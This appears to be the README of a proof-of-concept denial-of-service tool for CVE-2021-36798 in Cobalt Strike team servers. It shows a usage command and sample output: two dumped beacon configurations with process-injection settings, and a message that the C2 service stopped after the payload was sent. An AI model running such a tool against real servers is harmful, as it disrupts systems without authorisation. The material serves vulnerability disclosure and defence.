A denial of service (DoS) vulnerability (CVE-2021-36798) was found in Cobalt Strike. The vulnerability was fixed in the scope of the 4.4 release. More information can be found here.
Usage
python3 CobaltStrike.py https://1.1.1.1<:443> <stager path>
$ python3 CobaltStrikeDos.py https://192.168.1.3:4431 jquery-2.1.1.min.js
[+] Try Get beacon configuration
BeaconType - HTTPS
Port - 4431
SleepTime - 60000
MaxGetSize - 1048576
Jitter - 0
MaxDNS - Not Found
PublicKey_MD5 - 593aaee8f3b92c6c61cd742e71dcb108
C2Server - 192.168.1.3,/cx
UserAgent - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; yie9)
HttpPostUri - /submit.php
Malleable_C2_Instructions - Empty
HttpGet_Metadata - Metadata
base64
header "Cookie"
HttpPost_Metadata - ConstHeaders
Content-Type: application/octet-stream
SessionId
parameter "id"
Output
print
PipeName - Not Found
DNS_Idle - Not Found
DNS_Sleep - Not Found
SSH_Host - Not Found
SSH_Port - Not Found
SSH_Username - Not Found
SSH_Password_Plaintext - Not Found
SSH_Password_Pubkey - Not Found
SSH_Banner -
HttpGet_Verb - GET
HttpPost_Verb - POST
HttpPostChunk - 0
Spawnto_x86 - %windir%\syswow64\rundll32.exe
Spawnto_x64 - %windir%\sysnative\rundll32.exe
CryptoScheme - 0
Proxy_Config - Not Found
Proxy_User - Not Found
Proxy_Password - Not Found
Proxy_Behavior - Use IE settings
Watermark - 426352781
bStageCleanup - False
bCFGCaution - False
KillDate - 0
bProcInject_StartRWX - True
bProcInject_UseRWX - True
bProcInject_MinAllocSize - 0
ProcInject_PrependAppend_x86 - Empty
ProcInject_PrependAppend_x64 - Empty
ProcInject_Execute - CreateThread
SetThreadContext
CreateRemoteThread
RtlCreateUserThread
ProcInject_AllocationMethod - VirtualAllocEx
bUsesCookies - True
HostHeader -
headersToRemove - Not Found
DNS_Beaconing - Not Found
DNS_get_TypeA - Not Found
DNS_get_TypeAAAA - Not Found
DNS_get_TypeTXT - Not Found
DNS_put_metadata - Not Found
DNS_put_output - Not Found
DNS_resolver - Not Found
DNS_strategy - round-robin
DNS_strategy_rotate_seconds - -1
DNS_strategy_fail_x - -1
DNS_strategy_fail_seconds - -1
BeaconType - HTTPS
Port - 4431
SleepTime - 60000
MaxGetSize - 1048576
Jitter - 0
MaxDNS - Not Found
PublicKey_MD5 - 593aaee8f3b92c6c61cd742e71dcb108
C2Server - 192.168.1.3,/ga.js
UserAgent - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
HttpPostUri - /submit.php
Malleable_C2_Instructions - Empty
HttpGet_Metadata - Metadata
base64
header "Cookie"
HttpPost_Metadata - ConstHeaders
Content-Type: application/octet-stream
SessionId
parameter "id"
Output
print
PipeName - Not Found
DNS_Idle - Not Found
DNS_Sleep - Not Found
SSH_Host - Not Found
SSH_Port - Not Found
SSH_Username - Not Found
SSH_Password_Plaintext - Not Found
SSH_Password_Pubkey - Not Found
SSH_Banner -
HttpGet_Verb - GET
HttpPost_Verb - POST
HttpPostChunk - 0
Spawnto_x86 - %windir%\syswow64\rundll32.exe
Spawnto_x64 - %windir%\sysnative\rundll32.exe
CryptoScheme - 0
Proxy_Config - Not Found
Proxy_User - Not Found
Proxy_Password - Not Found
Proxy_Behavior - Use IE settings
Watermark - 426352781
bStageCleanup - False
bCFGCaution - False
KillDate - 0
bProcInject_StartRWX - True
bProcInject_UseRWX - True
bProcInject_MinAllocSize - 0
ProcInject_PrependAppend_x86 - Empty
ProcInject_PrependAppend_x64 - Empty
ProcInject_Execute - CreateThread
SetThreadContext
CreateRemoteThread
RtlCreateUserThread
ProcInject_AllocationMethod - VirtualAllocEx
bUsesCookies - True
HostHeader -
headersToRemove - Not Found
DNS_Beaconing - Not Found
DNS_get_TypeA - Not Found
DNS_get_TypeAAAA - Not Found
DNS_get_TypeTXT - Not Found
DNS_put_metadata - Not Found
DNS_put_output - Not Found
DNS_resolver - Not Found
DNS_strategy - round-robin
DNS_strategy_rotate_seconds - -1
DNS_strategy_fail_x - -1
DNS_strategy_fail_seconds - -1
[+] Send Payload
[+] The C2 Service Has Stopped, Took 5.24 Seconds
